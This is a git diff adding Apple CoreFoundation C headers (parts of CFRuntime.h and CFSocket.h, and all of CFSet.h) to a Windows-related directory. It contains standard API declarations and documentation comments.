WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_LICENSE_HEADER_END@ + */ +/* CFRuntime.h + Copyright (c) 1999-2007, Apple Inc. All rights reserved. +*/ + +#if !defined(__COREFOUNDATION_CFRUNTIME__) +#define __COREFOUNDATION_CFRUNTIME__ 1 + +#include +#include +#include + +CF_EXTERN_C_BEGIN + +// GC: until we link against ObjC must use indirect functions. Overridden in CFSetupFoundationBridging +extern bool kCFUseCollectableAllocator; +extern bool (*__CFObjCIsCollectable)(void *); +extern const void* (*__CFObjCAssignIvar)(const void *value, const void *base, const void **slot); +extern const void* (*__CFObjCStrongAssign)(const void *value, const void **slot); +extern void* (*__CFObjCMemmoveCollectable)(void *dest, const void *src, size_t); +extern void (*__CFObjCWriteBarrierRange)(void *, size_t); + +// GC: primitives. +// is GC on? +#define CF_USING_COLLECTABLE_MEMORY (kCFUseCollectableAllocator) +// is GC on and is this the GC allocator? +#define CF_IS_COLLECTABLE_ALLOCATOR(allocator) (CF_USING_COLLECTABLE_MEMORY && (NULL == (allocator) || kCFAllocatorSystemDefault == (allocator))) +// is this allocated by the collector? +#define CF_IS_COLLECTABLE(obj) (__CFObjCIsCollectable ? __CFObjCIsCollectable((void*)obj) : false) + +// XXX_PCB for generational GC support. + +CF_INLINE const void* __CFAssignIvar(CFAllocatorRef allocator, const void *rvalue, const void *base, const void **lvalue) { + if (rvalue && CF_IS_COLLECTABLE_ALLOCATOR(allocator)) + return __CFObjCAssignIvar(rvalue, base, lvalue); + else + return (*lvalue = rvalue); +} + +CF_INLINE const void* __CFStrongAssign(CFAllocatorRef allocator, const void *rvalue, const void **lvalue) { + if (rvalue && CF_IS_COLLECTABLE_ALLOCATOR(allocator)) + return __CFObjCStrongAssign(rvalue, lvalue); + else + return (*lvalue = rvalue); +} + +// Use this form when the base pointer to the object is known. +#define CF_WRITE_BARRIER_BASE_ASSIGN(allocator, base, lvalue, rvalue) __CFAssignIvar(allocator, (const void*)rvalue, (const void*)base, (const void**)&(lvalue)) + +// Use this form when the base pointer to the object isn't known. +#define CF_WRITE_BARRIER_ASSIGN(allocator, lvalue, rvalue) __CFStrongAssign(allocator, (const void*)rvalue, (const void**)&(lvalue)) + +// Write-barrier memory move. +#define CF_WRITE_BARRIER_MEMMOVE(dst, src, size) __CFObjCMemmoveCollectable(dst, src, size) + +// Used by frameworks to assert they "KNOW WHAT THEY'RE DOING under GC." +CF_EXPORT CFAllocatorRef _CFAllocatorCreateGC(CFAllocatorRef allocator, CFAllocatorContext *context); + +// Zero-retain count CFAllocator functions, i.e. memory that will be collected, no dealloc necessary +CF_EXPORT void *_CFAllocatorAllocateGC(CFAllocatorRef allocator, CFIndex size, CFOptionFlags hint); +CF_EXPORT void *_CFAllocatorReallocateGC(CFAllocatorRef allocator, void *ptr, CFIndex newsize, CFOptionFlags hint); +CF_EXPORT void _CFAllocatorDeallocateGC(CFAllocatorRef allocator, void *ptr); + +enum { + _kCFRuntimeNotATypeID = 0, + _kCFRuntimeScannedObject = (1 << 0), + /* _kCFRuntimeUncollectableObject = (1 << 1), No longer used; obsolete. */ + _kCFRuntimeResourcefulObject = (1 << 2) +}; + +typedef struct __CFRuntimeClass { // Version 0 struct + CFIndex version; + const char *className; + void (*init)(CFTypeRef cf); + CFTypeRef (*copy)(CFAllocatorRef allocator, CFTypeRef cf); +#if MAC_OS_X_VERSION_10_2 <= MAC_OS_X_VERSION_MAX_ALLOWED + void (*finalize)(CFTypeRef cf); +#else + void (*dealloc)(CFTypeRef cf); +#endif + Boolean (*equal)(CFTypeRef cf1, CFTypeRef cf2); + CFHashCode (*hash)(CFTypeRef cf); + CFStringRef (*copyFormattingDesc)(CFTypeRef cf, CFDictionaryRef formatOptions); // str with retain + CFStringRef (*copyDebugDesc)(CFTypeRef cf); // str with retain +#if MAC_OS_X_VERSION_10_5 <= MAC_OS_X_VERSION_MAX_ALLOWED +#define CF_RECLAIM_AVAILABLE 1 + void (*reclaim)(CFTypeRef cf); +#endif +} CFRuntimeClass; + +#define RADAR_5115468_FIXED 1 + +/* Note that CF runtime class registration and unregistration is not currently + * thread-safe, which should not currently be a problem, as long as unregistration + * is done only when valid to do so. + */ + +CF_EXPORT CFTypeID _CFRuntimeRegisterClass(const CFRuntimeClass * const cls); + /* Registers a new class with the CF runtime. Pass in a + * pointer to a CFRuntimeClass structure. The pointer is + * remembered by the CF runtime -- the structure is NOT + * copied. + * + * - version field must be zero currently. + * - className field points to a null-terminated C string + * containing only ASCII (0 - 127) characters; this field + * may NOT be NULL. + * - init field points to a function which classes can use to + * apply some generic initialization to instances as they + * are created; this function is called by both + * _CFRuntimeCreateInstance and _CFRuntimeInitInstance; if + * this field is NULL, no function is called; the instance + * has been initialized enough that the polymorphic funcs + * CFGetTypeID(), CFRetain(), CFRelease(), CFGetRetainCount(), + * and CFGetAllocator() are valid on it when the init + * function if any is called. + * - finalize field points to a function which destroys an + * instance when the retain count has fallen to zero; if + * this is NULL, finalization does nothing. Note that if + * the class-specific functions which create or initialize + * instances more fully decide that a half-initialized + * instance must be destroyed, the finalize function for + * that class has to be able to deal with half-initialized + * instances. The finalize function should NOT destroy the + * memory for the instance itself; that is done by the + * CF runtime after this finalize callout returns. + * - equal field points to an equality-testing function; this + * field may be NULL, in which case only pointer/reference + * equality is performed on instances of this class. + * Pointer equality is tested, and the type IDs are checked + * for equality, before this function is called (so, the + * two instances are not pointer-equal but are of the same + * class before this function is called). + * NOTE: the equal function must implement an immutable + * equality relation, satisfying the reflexive, symmetric, + * and transitive properties, and remains the same across + * time and immutable operations (that is, if equal(A,B) at + * some point, then later equal(A,B) provided neither + * A or B has been mutated). + * - hash field points to a hash-code-computing function for + * instances of this class; this field may be NULL in which + * case the pointer value of an instance is converted into + * a hash. + * NOTE: the hash function and equal function must satisfy + * the relationship "equal(A,B) implies hash(A) == hash(B)"; + * that is, if two instances are equal, their hash codes must + * be equal too. (However, the converse is not true!) + * - copyFormattingDesc field points to a function returning a + * CFStringRef with a human-readable description of the + * instance; if this is NULL, the type does not have special + * human-readable string-formats. + * - copyDebugDesc field points to a function returning a + * CFStringRef with a debugging description of the instance; + * if this is NULL, a simple description is generated. + * + * This function returns _kCFRuntimeNotATypeID on failure, or + * on success, returns the CFTypeID for the new class. This + * CFTypeID is what the class uses to allocate or initialize + * instances of the class. It is also returned from the + * conventional *GetTypeID() function, which returns the + * class's CFTypeID so that clients can compare the + * CFTypeID of instances with that of a class. + * + * The function to compute a human-readable string is very + * optional, and is really only interesting for classes, + * like strings or numbers, where it makes sense to format + * the instance using just its contents. + */ + +CF_EXPORT const CFRuntimeClass * _CFRuntimeGetClassWithTypeID(CFTypeID typeID); + /* Returns the pointer to the CFRuntimeClass which was + * assigned the specified CFTypeID. + */ + +CF_EXPORT void _CFRuntimeUnregisterClassWithTypeID(CFTypeID typeID); + /* Unregisters the class with the given type ID. It is + * undefined whether type IDs are reused or not (expect + * that they will be). + * + * Whether or not unregistering the class is a good idea or + * not is not CF's responsibility. In particular you must + * be quite sure all instances are gone, and there are no + * valid weak refs to such in other threads. + */ + +/* All CF "instances" start with this structure. Never refer to + * these fields directly -- they are for CF's use and may be added + * to or removed or change format without warning. Binary + * compatibility for uses of this struct is not guaranteed from + * release to release. + */ +typedef struct __CFRuntimeBase { + uintptr_t _cfisa; + uint8_t _cfinfo[4]; +#if __LP64__ + uint32_t _rc; +#endif +} CFRuntimeBase; + +#if __BIG_ENDIAN__ +#define INIT_CFRUNTIME_BASE(...) {0, {0, 0, 0, 0x80}} +#else +#define INIT_CFRUNTIME_BASE(...) {0, {0x80, 0, 0, 0}} +#endif + +CF_EXPORT CFTypeRef _CFRuntimeCreateInstance(CFAllocatorRef allocator, CFTypeID typeID, CFIndex extraBytes, unsigned char *category); + /* Creates a new CF instance of the class specified by the + * given CFTypeID, using the given allocator, and returns it. + * If the allocator returns NULL, this function returns NULL. + * A CFRuntimeBase structure is initialized at the beginning + * of the returned instance. extraBytes is the additional + * number of bytes to allocate for the instance (BEYOND that + * needed for the CFRuntimeBase). If the specified CFTypeID + * is unknown to the CF runtime, this function returns NULL. + * No part of the new memory other than base header is + * initialized (the extra bytes are not zeroed, for example). + * All instances created with this function must be destroyed + * only through use of the CFRelease() function -- instances + * must not be destroyed by using CFAllocatorDeallocate() + * directly, even in the initialization or creation functions + * of a class. Pass NULL for the category parameter. + */ + +CF_EXPORT void _CFRuntimeSetInstanceTypeID(CFTypeRef cf, CFTypeID typeID); + /* This function changes the typeID of the given instance. + * If the specified CFTypeID is unknown to the CF runtime, + * this function does nothing. This function CANNOT be used + * to initialize an instance. It is for advanced usages such + * as faulting. + */ + +CF_EXPORT void _CFRuntimeInitStaticInstance(void *memory, CFTypeID typeID); + /* This function initializes a memory block to be a constant + * (unreleaseable) CF object of the given typeID. + * If the specified CFTypeID is unknown to the CF runtime, + * this function does nothing. The memory block should + * be a chunk of in-binary writeable static memory, and at + * least as large as sizeof(CFRuntimeBase) on the platform + * the code is being compiled for. The init function of the + * CFRuntimeClass is invoked on the memory as well, if the + * class has one. + */ +#define CF_HAS_INIT_STATIC_INSTANCE 1 + +#if 0 +// ========================= EXAMPLE ========================= + +// Example: EXRange -- a "range" object, which keeps the starting +// location and length of the range. ("EX" as in "EXample"). + +// ---- API ---- + +typedef const struct __EXRange * EXRangeRef; + +CFTypeID EXRangeGetTypeID(void); + +EXRangeRef EXRangeCreate(CFAllocatorRef allocator, uint32_t location, uint32_t length); + +uint32_t EXRangeGetLocation(EXRangeRef rangeref); +uint32_t EXRangeGetLength(EXRangeRef rangeref); + + +// ---- implementation ---- + +#include +#include + +struct __EXRange { + CFRuntimeBase _base; + uint32_t _location; + uint32_t _length; +}; + +static Boolean __EXRangeEqual(CFTypeRef cf1, CFTypeRef cf2) { + EXRangeRef rangeref1 = (EXRangeRef)cf1; + EXRangeRef rangeref2 = (EXRangeRef)cf2; + if (rangeref1->_location != rangeref2->_location) return false; + if (rangeref1->_length != rangeref2->_length) return false; + return true; +} + +static CFHashCode __EXRangeHash(CFTypeRef cf) { + EXRangeRef rangeref = (EXRangeRef)cf; + return (CFHashCode)(rangeref->_location + rangeref->_length); +} + +static CFStringRef __EXRangeCopyFormattingDesc(CFTypeRef cf, CFDictionaryRef formatOpts) { + EXRangeRef rangeref = (EXRangeRef)cf; + return CFStringCreateWithFormat(CFGetAllocator(rangeref), formatOpts, + CFSTR("[%u, %u)"), + rangeref->_location, + rangeref->_location + rangeref->_length); +} + +static CFStringRef __EXRangeCopyDebugDesc(CFTypeRef cf) { + EXRangeRef rangeref = (EXRangeRef)cf; + return CFStringCreateWithFormat(CFGetAllocator(rangeref), NULL, + CFSTR("{loc = %u, len = %u}"), + rangeref, + CFGetAllocator(rangeref), + rangeref->_location, + rangeref->_length); +} + +static void __EXRangeEXRangeFinalize(CFTypeRef cf) { + EXRangeRef rangeref = (EXRangeRef)cf; + // nothing to finalize +} + +static CFTypeID _kEXRangeID = _kCFRuntimeNotATypeID; + +static CFRuntimeClass _kEXRangeClass = {0}; + +/* Something external to this file is assumed to call this + * before the EXRange class is used. + */ +void __EXRangeClassInitialize(void) { + _kEXRangeClass.version = 0; + _kEXRangeClass.className = "EXRange"; + _kEXRangeClass.init = NULL; + _kEXRangeClass.copy = NULL; + _kEXRangeClass.finalize = __EXRangeEXRangeFinalize; + _kEXRangeClass.equal = __EXRangeEqual; + _kEXRangeClass.hash = __EXRangeHash; + _kEXRangeClass.copyFormattingDesc = __EXRangeCopyFormattingDesc; + _kEXRangeClass.copyDebugDesc = __EXRangeCopyDebugDesc; + _kEXRangeID = _CFRuntimeRegisterClass((const CFRuntimeClass * const)&_kEXRangeClass); +} + +CFTypeID EXRangeGetTypeID(void) { + return _kEXRangeID; +} + +EXRangeRef EXRangeCreate(CFAllocatorRef allocator, uint32_t location, uint32_t length) { + struct __EXRange *newrange; + uint32_t extra = sizeof(struct __EXRange) - sizeof(CFRuntimeBase); + newrange = (struct __EXRange *)_CFRuntimeCreateInstance(allocator, _kEXRangeID, extra, NULL); + if (NULL == newrange) { + return NULL; + } + newrange->_location = location; + newrange->_length = length; + return (EXRangeRef)newrange; +} + +uint32_t EXRangeGetLocation(EXRangeRef rangeref) { + return rangeref->_location; +} + +uint32_t EXRangeGetLength(EXRangeRef rangeref) { + return rangeref->_length; +} + +#endif + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFRUNTIME__ */ diff --git a/winstuff/CoreFoundation/CFSet.h b/winstuff/CoreFoundation/CFSet.h new file mode 100644 index 0000000..50d2a3b --- /dev/null +++ b/winstuff/CoreFoundation/CFSet.h @@ -0,0 +1,484 @@ +/* CFSet.h + Copyright (c) 1998-2007, Apple Inc. All rights reserved. +*/ +/*! + @header CFSet + CFSet implements a container which stores unique values. +*/ + +#if !defined(__COREFOUNDATION_CFSET__) +#define __COREFOUNDATION_CFSET__ 1 + +#include + +CF_EXTERN_C_BEGIN + +/*! + @typedef CFSetRetainCallBack + Type of the callback function used by CFSets for retaining values. + @param allocator The allocator of the CFSet. + @param value The value to retain. + @result The value to store in the set, which is usually the value + parameter passed to this callback, but may be a different + value if a different value should be stored in the set. +*/ +typedef const void * (*CFSetRetainCallBack)(CFAllocatorRef allocator, const void *value); + +/*! + @typedef CFSetReleaseCallBack + Type of the callback function used by CFSets for releasing a retain on values. + @param allocator The allocator of the CFSet. + @param value The value to release. +*/ +typedef void (*CFSetReleaseCallBack)(CFAllocatorRef allocator, const void *value); + +/*! + @typedef CFSetCopyDescriptionCallBack + Type of the callback function used by CFSets for describing values. + @param value The value to describe. + @result A description of the specified value. +*/ +typedef CFStringRef (*CFSetCopyDescriptionCallBack)(const void *value); + +/*! + @typedef CFSetEqualCallBack + Type of the callback function used by CFSets for comparing values. + @param value1 The first value to compare. + @param value2 The second value to compare. + @result True if the values are equal, otherwise false. +*/ +typedef Boolean (*CFSetEqualCallBack)(const void *value1, const void *value2); + +/*! + @typedef CFSetHashCallBack + Type of the callback function used by CFSets for hashing values. + @param value The value to hash. + @result The hash of the value. +*/ +typedef CFHashCode (*CFSetHashCallBack)(const void *value); + +/*! + @typedef CFSetCallBacks + Structure containing the callbacks of a CFSet. + @field version The version number of the structure type being passed + in as a parameter to the CFSet creation functions. This + structure is version 0. + @field retain The callback used to add a retain for the set on + values as they are put into the set. This callback returns + the value to store in the set, which is usually the value + parameter passed to this callback, but may be a different + value if a different value should be stored in the set. + The set's allocator is passed as the first argument. + @field release The callback used to remove a retain previously added + for the set from values as they are removed from the + set. The set's allocator is passed as the first + argument. + @field copyDescription The callback used to create a descriptive + string representation of each value in the set. This is + used by the CFCopyDescription() function. + @field equal The callback used to compare values in the set for + equality for some operations. + @field hash The callback used to compare values in the set for + uniqueness for some operations. +*/ +typedef struct { + CFIndex version; + CFSetRetainCallBack retain; + CFSetReleaseCallBack release; + CFSetCopyDescriptionCallBack copyDescription; + CFSetEqualCallBack equal; + CFSetHashCallBack hash; +} CFSetCallBacks; + +/*! + @constant kCFTypeSetCallBacks + Predefined CFSetCallBacks structure containing a set of callbacks + appropriate for use when the values in a CFSet are all CFTypes. +*/ +CF_EXPORT +const CFSetCallBacks kCFTypeSetCallBacks; + +/*! + @constant kCFCopyStringSetCallBacks + Predefined CFSetCallBacks structure containing a set of callbacks + appropriate for use when the values in a CFSet should be copies + of a CFString. +*/ +CF_EXPORT +const CFSetCallBacks kCFCopyStringSetCallBacks; + +/*! + @typedef CFSetApplierFunction + Type of the callback function used by the apply functions of + CFSets. + @param value The current value from the set. + @param context The user-defined context parameter given to the apply + function. +*/ +typedef void (*CFSetApplierFunction)(const void *value, void *context); + +/*! + @typedef CFSetRef + This is the type of a reference to immutable CFSets. +*/ +typedef const struct __CFSet * CFSetRef; + +/*! + @typedef CFMutableSetRef + This is the type of a reference to mutable CFSets. +*/ +typedef struct __CFSet * CFMutableSetRef; + +/*! + @function CFSetGetTypeID + Returns the type identifier of all CFSet instances. +*/ +CF_EXPORT +CFTypeID CFSetGetTypeID(void); + +/*! + @function CFSetCreate + Creates a new immutable set with the given values. + @param allocator The CFAllocator which should be used to allocate + memory for the set and its storage for values. This + parameter may be NULL in which case the current default + CFAllocator is used. If this reference is not a valid + CFAllocator, the behavior is undefined. + @param values A C array of the pointer-sized values to be in the + set. This C array is not changed or freed by this function. + If this parameter is not a valid pointer to a C array of at + least numValues pointers, the behavior is undefined. + @param numValues The number of values to copy from the values C + array into the CFSet. This number will be the count of the + set. If this parameter is zero, negative, or greater than + the number of values actually in the values C array, the + behavior is undefined. + @param callBacks A C pointer to a CFSetCallBacks structure + initialized with the callbacks for the set to use on each + value in the set. A copy of the contents of the + callbacks structure is made, so that a pointer to a + structure on the stack can be passed in, or can be reused + for multiple set creations. If the version field of this + callbacks structure is not one of the defined ones for + CFSet, the behavior is undefined. The retain field may be + NULL, in which case the CFSet will do nothing to add a + retain to the contained values for the set. The release + field may be NULL, in which case the CFSet will do nothing + to remove the set's retain (if any) on the values when the + set is destroyed. If the copyDescription field is NULL, + the set will create a simple description for the value. If + the equal field is NULL, the set will use pointer equality + to test for equality of values. The hash field may be NULL, + in which case the CFSet will determine uniqueness by pointer + equality. This callbacks parameter + itself may be NULL, which is treated as if a valid structure + of version 0 with all fields NULL had been passed in. + Otherwise, if any of the fields are not valid pointers to + functions of the correct type, or this parameter is not a + valid pointer to a CFSetCallBacks callbacks structure, + the behavior is undefined. If any of the values put into the + set is not one understood by one of the callback functions + the behavior when that callback function is used is + undefined. + @result A reference to the new immutable CFSet. +*/ +CF_EXPORT +CFSetRef CFSetCreate(CFAllocatorRef allocator, const void **values, CFIndex numValues, const CFSetCallBacks *callBacks); + +/*! + @function CFSetCreateCopy + Creates a new immutable set with the values from the given set. + @param allocator The CFAllocator which should be used to allocate + memory for the set and its storage for values. This + parameter may be NULL in which case the current default + CFAllocator is used. If this reference is not a valid + CFAllocator, the behavior is undefined. + @param theSet The set which is to be copied. The values from the + set are copied as pointers into the new set (that is, + the values themselves are copied, not that which the values + point to, if anything). However, the values are also + retained by the new set. The count of the new set will + be the same as the copied set. The new set uses the same + callbacks as the set to be copied. If this parameter is + not a valid CFSet, the behavior is undefined. + @result A reference to the new immutable CFSet. +*/ +CF_EXPORT +CFSetRef CFSetCreateCopy(CFAllocatorRef allocator, CFSetRef theSet); + +/*! + @function CFSetCreateMutable + Creates a new empty mutable set. + @param allocator The CFAllocator which should be used to allocate + memory for the set and its storage for values. This + parameter may be NULL in which case the current default + CFAllocator is used. If this reference is not a valid + CFAllocator, the behavior is undefined. + @param capacity A hint about the number of values that will be held + by the CFSet. Pass 0 for no hint. The implementation may + ignore this hint, or may use it to optimize various + operations. A set's actual capacity is only limited by + address space and available memory constraints). If this + parameter is negative, the behavior is undefined. + @param callBacks A C pointer to a CFSetCallBacks structure + initialized with the callbacks for the set to use on each + value in the set. A copy of the contents of the + callbacks structure is made, so that a pointer to a + structure on the stack can be passed in, or can be reused + for multiple set creations. If the version field of this + callbacks structure is not one of the defined ones for + CFSet, the behavior is undefined. The retain field may be + NULL, in which case the CFSet will do nothing to add a + retain to the contained values for the set. The release + field may be NULL, in which case the CFSet will do nothing + to remove the set's retain (if any) on the values when the + set is destroyed. If the copyDescription field is NULL, + the set will create a simple description for the value. If + the equal field is NULL, the set will use pointer equality + to test for equality of values. The hash field may be NULL, + in which case the CFSet will determine uniqueness by pointer + equality. This callbacks parameter + itself may be NULL, which is treated as if a valid structure + of version 0 with all fields NULL had been passed in. + Otherwise, if any of the fields are not valid pointers to + functions of the correct type, or this parameter is not a + valid pointer to a CFSetCallBacks callbacks structure, + the behavior is undefined. If any of the values put into the + set is not one understood by one of the callback functions + the behavior when that callback function is used is + undefined. + @result A reference to the new mutable CFSet. +*/ +CF_EXPORT +CFMutableSetRef CFSetCreateMutable(CFAllocatorRef allocator, CFIndex capacity, const CFSetCallBacks *callBacks); + +/*! + @function CFSetCreateMutableCopy + Creates a new immutable set with the values from the given set. + @param allocator The CFAllocator which should be used to allocate + memory for the set and its storage for values. This + parameter may be NULL in which case the current default + CFAllocator is used. If this reference is not a valid + CFAllocator, the behavior is undefined. + @param capacity A hint about the number of values that will be held + by the CFSet. Pass 0 for no hint. The implementation may + ignore this hint, or may use it to optimize various + operations. A set's actual capacity is only limited by + address space and available memory constraints). + This parameter must be greater than or equal + to the count of the set which is to be copied, or the + behavior is undefined. If this parameter is negative, the + behavior is undefined. + @param theSet The set which is to be copied. The values from the + set are copied as pointers into the new set (that is, + the values themselves are copied, not that which the values + point to, if anything). However, the values are also + retained by the new set. The count of the new set will + be the same as the copied set. The new set uses the same + callbacks as the set to be copied. If this parameter is + not a valid CFSet, the behavior is undefined. + @result A reference to the new mutable CFSet. +*/ +CF_EXPORT +CFMutableSetRef CFSetCreateMutableCopy(CFAllocatorRef allocator, CFIndex capacity, CFSetRef theSet); + +/*! + @function CFSetGetCount + Returns the number of values currently in the set. + @param theSet The set to be queried. If this parameter is not a valid + CFSet, the behavior is undefined. + @result The number of values in the set. +*/ +CF_EXPORT +CFIndex CFSetGetCount(CFSetRef theSet); + +/*! + @function CFSetGetCountOfValue + Counts the number of times the given value occurs in the set. Since + sets by definition contain only one instance of a value, this function + is synomous to SFSetContainsValue. + @param theSet The set to be searched. If this parameter is not a + valid CFSet, the behavior is undefined. + @param value The value for which to find matches in the set. The + equal() callback provided when the set was created is + used to compare. If the equal() callback was NULL, pointer + equality (in C, ==) is used. If value, or any of the values + in the set, are not understood by the equal() callback, + the behavior is undefined. + @result The number of times the given value occurs in the set. +*/ +CF_EXPORT +CFIndex CFSetGetCountOfValue(CFSetRef theSet, const void *value); + +/*! + @function CFSetContainsValue + Reports whether or not the value is in the set. + @param theSet The set to be searched. If this parameter is not a + valid CFSet, the behavior is undefined. + @param value The value for which to find matches in the set. The + equal() callback provided when the set was created is + used to compare. If the equal() callback was NULL, pointer + equality (in C, ==) is used. If value, or any of the values + in the set, are not understood by the equal() callback, + the behavior is undefined. + @result true, if the value is in the set, otherwise false. +*/ +CF_EXPORT +Boolean CFSetContainsValue(CFSetRef theSet, const void *value); + +/*! + @function CFSetGetValue + Retrieves a value in the set which hashes the same as the specified value. + @param theSet The set to be queried. If this parameter is not a + valid CFSet, the behavior is undefined. + @param value The value to retrieve. The equal() callback provided when + the set was created is used to compare. If the equal() callback + was NULL, pointer equality (in C, ==) is used. If a value, or + any of the values in the set, are not understood by the equal() + callback, the behavior is undefined. + @result The value in the set with the given hash. +*/ +CF_EXPORT +const void *CFSetGetValue(CFSetRef theSet, const void *value); + +/*! + @function CFSetGetValue + Retrieves a value in the set which hashes the same as the specified value, + if present. + @param theSet The set to be queried. If this parameter is not a + valid CFSet, the behavior is undefined. + @param candidate This value is hashed and compared with values in the + set to determine which value to retrieve. The equal() callback provided when + the set was created is used to compare. If the equal() callback + was NULL, pointer equality (in C, ==) is used. If a value, or + any of the values in the set, are not understood by the equal() + callback, the behavior is undefined. + @param value A pointer to memory which should be filled with the + pointer-sized value if a matching value is found. If no + match is found, the contents of the storage pointed to by + this parameter are undefined. This parameter may be NULL, + in which case the value from the dictionary is not returned + (but the return value of this function still indicates + whether or not the value was present). + @result True if the value was present in the set, otherwise false. +*/ +CF_EXPORT +Boolean CFSetGetValueIfPresent(CFSetRef theSet, const void *candidate, const void **value); + +/*! + @function CFSetGetValues + Fills the buffer with values from the set. + @param theSet The set to be queried. If this parameter is not a + valid CFSet, the behavior is undefined. + @param values A C array of pointer-sized values to be filled with + values from the set. The values in the C array are ordered + in the same order in which they appear in the set. If this + parameter is not a valid pointer to a C array of at least + CFSetGetCount() pointers, the behavior is undefined. +*/ +CF_EXPORT +void CFSetGetValues(CFSetRef theSet, const void **values); + +/*! + @function CFSetApplyFunction + Calls a function once for each value in the set. + @param theSet The set to be operated upon. If this parameter is not + a valid CFSet, the behavior is undefined. + @param applier The callback function to call once for each value in + the given set. If this parameter is not a + pointer to a function of the correct prototype, the behavior + is undefined. If there are values in the set which the + applier function does not expect or cannot properly apply + to, the behavior is undefined. + @param context A pointer-sized user-defined value, which is passed + as the second parameter to the applier function, but is + otherwise unused by this function. If the context is not + what is expected by the applier function, the behavior is + undefined. +*/ +CF_EXPORT +void CFSetApplyFunction(CFSetRef theSet, CFSetApplierFunction applier, void *context); + +/*! + @function CFSetAddValue + Adds the value to the set if it is not already present. + @param theSet The set to which the value is to be added. If this + parameter is not a valid mutable CFSet, the behavior is + undefined. + @param value The value to add to the set. The value is retained by + the set using the retain callback provided when the set + was created. If the value is not of the sort expected by the + retain callback, the behavior is undefined. The count of the + set is increased by one. +*/ +CF_EXPORT +void CFSetAddValue(CFMutableSetRef theSet, const void *value); + +/*! + @function CFSetReplaceValue + Replaces the value in the set if it is present. + @param theSet The set to which the value is to be replaced. If this + parameter is not a valid mutable CFSet, the behavior is + undefined. + @param value The value to replace in the set. The equal() callback provided when + the set was created is used to compare. If the equal() callback + was NULL, pointer equality (in C, ==) is used. If a value, or + any of the values in the set, are not understood by the equal() + callback, the behavior is undefined. The value is retained by + the set using the retain callback provided when the set + was created. If the value is not of the sort expected by the + retain callback, the behavior is undefined. The count of the + set is increased by one. +*/ +CF_EXPORT +void CFSetReplaceValue(CFMutableSetRef theSet, const void *value); + +/*! + @function CFSetSetValue + Replaces the value in the set if it is present, or adds the value to + the set if it is absent. + @param theSet The set to which the value is to be replaced. If this + parameter is not a valid mutable CFSet, the behavior is + undefined. + @param value The value to set in the CFSet. The equal() callback provided when + the set was created is used to compare. If the equal() callback + was NULL, pointer equality (in C, ==) is used. If a value, or + any of the values in the set, are not understood by the equal() + callback, the behavior is undefined. The value is retained by + the set using the retain callback provided when the set + was created. If the value is not of the sort expected by the + retain callback, the behavior is undefined. The count of the + set is increased by one. +*/ +CF_EXPORT +void CFSetSetValue(CFMutableSetRef theSet, const void *value); + +/*! + @function CFSetRemoveValue + Removes the specified value from the set. + @param theSet The set from which the value is to be removed. + If this parameter is not a valid mutable CFSet, + the behavior is undefined. + @param value The value to remove. The equal() callback provided when + the set was created is used to compare. If the equal() callback + was NULL, pointer equality (in C, ==) is used. If a value, or + any of the values in the set, are not understood by the equal() + callback, the behavior is undefined. +*/ +CF_EXPORT +void CFSetRemoveValue(CFMutableSetRef theSet, const void *value); + +/*! + @function CFSetRemoveAllValues + Removes all the values from the set, making it empty. + @param theSet The set from which all of the values are to be + removed. If this parameter is not a valid mutable CFSet, + the behavior is undefined. +*/ +CF_EXPORT +void CFSetRemoveAllValues(CFMutableSetRef theSet); + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFSET__ */ + diff --git a/winstuff/CoreFoundation/CFSocket.h b/winstuff/CoreFoundation/CFSocket.h new file mode 100644 index 0000000..63dcc16 --- /dev/null +++ b/winstuff/CoreFoundation/CFSocket.h @@ -0,0 +1,222 @@ +/* CFSocket.h + Copyright (c) 1999-2007, Apple Inc. All rights reserved. +*/ + +#if !defined(__COREFOUNDATION_CFSOCKET__) +#define __COREFOUNDATION_CFSOCKET__ 1 + +#if TARGET_OS_WIN32 +// This needs to be early in the file, before sys/types gets included, or winsock.h complains +// about "fd_set and associated macros have been defined". +#include +typedef SOCKET CFSocketNativeHandle; +#else +typedef int CFSocketNativeHandle; +#endif + +#include +#include + +CF_EXTERN_C_BEGIN + +typedef struct __CFSocket * CFSocketRef; + +/* A CFSocket contains a native socket within a structure that can +be used to read from the socket in the background and make the data +thus read available using a runloop source. The callback used for +this may be of three types, as specified by the callBackTypes +argument when creating the CFSocket. + +If kCFSocketReadCallBack is used, then data will not be +automatically read, but the callback will be called when data +is available to be read, or a new child socket is waiting to be +accepted. + +If kCFSocketAcceptCallBack is used, then new child sockets will be +accepted and passed to the callback, with the data argument being +a pointer to a CFSocketNativeHandle. This is usable only with +connection rendezvous sockets. + +If kCFSocketDataCallBack is used, then data will be read in chunks +in the background and passed to the callback, with the data argument +being a CFDataRef. + +These three types are mutually exclusive, but any one of them may +have kCFSocketConnectCallBack added to it, if the socket will be +used to connect in the background. Connect in the background occurs +if CFSocketConnectToAddress is called with a negative timeout +value, in which case the call returns immediately, and a +kCFSocketConnectCallBack is generated when the connect finishes. +In this case the data argument is either NULL, or a pointer to +an SInt32 error code if the connect failed. kCFSocketConnectCallBack +will never be sent more than once for a given socket. + +The callback types may also have kCFSocketWriteCallBack added to +them, if large amounts of data are to be sent rapidly over the +socket and notification is desired when there is space in the +kernel buffers so that the socket is writable again. + +With a connection-oriented socket, if the connection is broken from the +other end, then one final kCFSocketReadCallBack or kCFSocketDataCallBack +will occur. In the case of kCFSocketReadCallBack, the underlying socket +will have 0 bytes available to read. In the case of kCFSocketDataCallBack, +the data argument will be a CFDataRef of length 0. + +There are socket flags that may be set to control whether callbacks of +a given type are automatically reenabled after they are triggered, and +whether the underlying native socket will be closed when the CFSocket +is invalidated. By default read, accept, and data callbacks are +automatically reenabled; write callbacks are not, and connect callbacks +may not be, since they are sent once only. Be careful about automatically +reenabling read and write callbacks, since this implies that the +callbacks will be sent repeatedly if the socket remains readable or +writable respectively. Be sure to set these flags only for callbacks +that your CFSocket actually possesses; the result of setting them for +other callback types is undefined. + +Individual callbacks may also be enabled and disabled manually, whether +they are automatically reenabled or not. If they are not automatically +reenabled, then they will need to be manually reenabled when the callback +is ready to be received again (and not sooner). Even if they are +automatically reenabled, there may be occasions when it will be useful +to be able to manually disable them temporarily and then reenable them. +Be sure to enable and disable only callbacks that your CFSocket actually +possesses; the result of enabling and disabling other callback types is +undefined. + +By default the underlying native socket will be closed when the CFSocket 